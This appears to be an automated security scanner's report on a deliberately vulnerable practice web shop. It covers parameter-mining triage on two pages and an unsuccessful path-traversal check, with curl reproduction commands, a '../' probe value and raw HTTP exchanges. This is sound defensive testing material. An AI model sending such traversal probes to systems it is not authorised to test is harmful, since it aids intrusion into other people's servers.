name4 GET https://sekumart.sekuripy.hr/search.php?q=1 HTTP 200 3096 bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/search.php?sksnotaparam=1'

GET /search.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/search.php

request

GET /search.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/search.php

request

GET /search.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

control HTTP 200 https://sekumart.sekuripy.hr/search.php?sksnotaparam=1

request

GET /search.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

name0 HTTP 200 https://sekumart.sekuripy.hr/search.php?c=1

request

GET /search.php?c=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

name1 HTTP 200 https://sekumart.sekuripy.hr/search.php?l=1

request

GET /search.php?l=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

name2 HTTP 200 https://sekumart.sekuripy.hr/search.php?cat=1

request

GET /search.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1352
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

GET/track.php Input handling on /track.php unconfirmed · low confidence BV-014 info

Evidence. This endpoint is reachable with no query string and advertises no input, but order changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/track.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /track.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but order changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/track.php

confirmed together

Reproduce

name6 GET https://sekumart.sekuripy.hr/track.php?order=1 HTTP 200 2964 bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/track.php?sksnotaparam=1'

GET /track.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/track.php

request

GET /track.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/track.php

request

GET /track.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

control HTTP 200 https://sekumart.sekuripy.hr/track.php?sksnotaparam=1

request

GET /track.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

name0 HTTP 200 https://sekumart.sekuripy.hr/track.php?c=1

request

GET /track.php?c=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

name1 HTTP 200 https://sekumart.sekuripy.hr/track.php?l=1

request

GET /track.php?l=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

name2 HTTP 200 https://sekumart.sekuripy.hr/track.php?cat=1

request

GET /track.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1391
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:33 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

GET/cart.php query string · content unconfirmed · low confidence BV-015 info

Evidence. 128 ways of writing .. were tried at every depth on the ladder, in the spellings real filters leave behind - doubled, percent-encoded, double-encoded, backslash - and none of them reached a file outside the application. The resolver looks confined: joined under a fixed prefix, chrooted, or filtering in a way none of these forms defeats. The normalisation finding still stands; the escape does not.

location: GET https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: content in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

content reaches a resolver, but no escape was reached unconfirmed

128 ways of writing .. were tried at every depth on the ladder, in the spellings real filters leave behind - doubled, percent-encoded, double-encoded, backslash - and none of them reached a file outside the application. The resolver looks confined: joined under a fixed prefix, chrooted, or filtering in a way none of these forms defeats. The normalisation finding still stands; the escape does not.

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

content looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1'

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

